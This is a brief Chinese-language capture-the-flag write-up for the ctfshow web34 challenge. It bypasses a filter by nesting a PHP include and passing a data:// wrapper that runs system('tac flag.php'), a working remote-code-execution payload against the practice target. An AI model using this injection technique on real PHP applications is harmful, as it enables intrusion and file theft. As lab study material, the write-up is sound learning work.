ctfshow web34

ctfshow web34

  • 题号:web34
  • 难度:⭐
  • 考点:命令执行(配合伪协议)
  • 日期:2026-9-1

题目描述

Pasted image 20260901135352

解题思路

1.和Web33.32还是一样构造文件包含配合伪协议即可

Payload / 关键操作

1./?c=include$_GET[1]?>&1=data://text/plain,<?php system('tac flag.php') ?>

复现截图

Pasted image 20260901135511

对应小迪课程章节

RCE命令执行

踩坑记录 / 复盘

无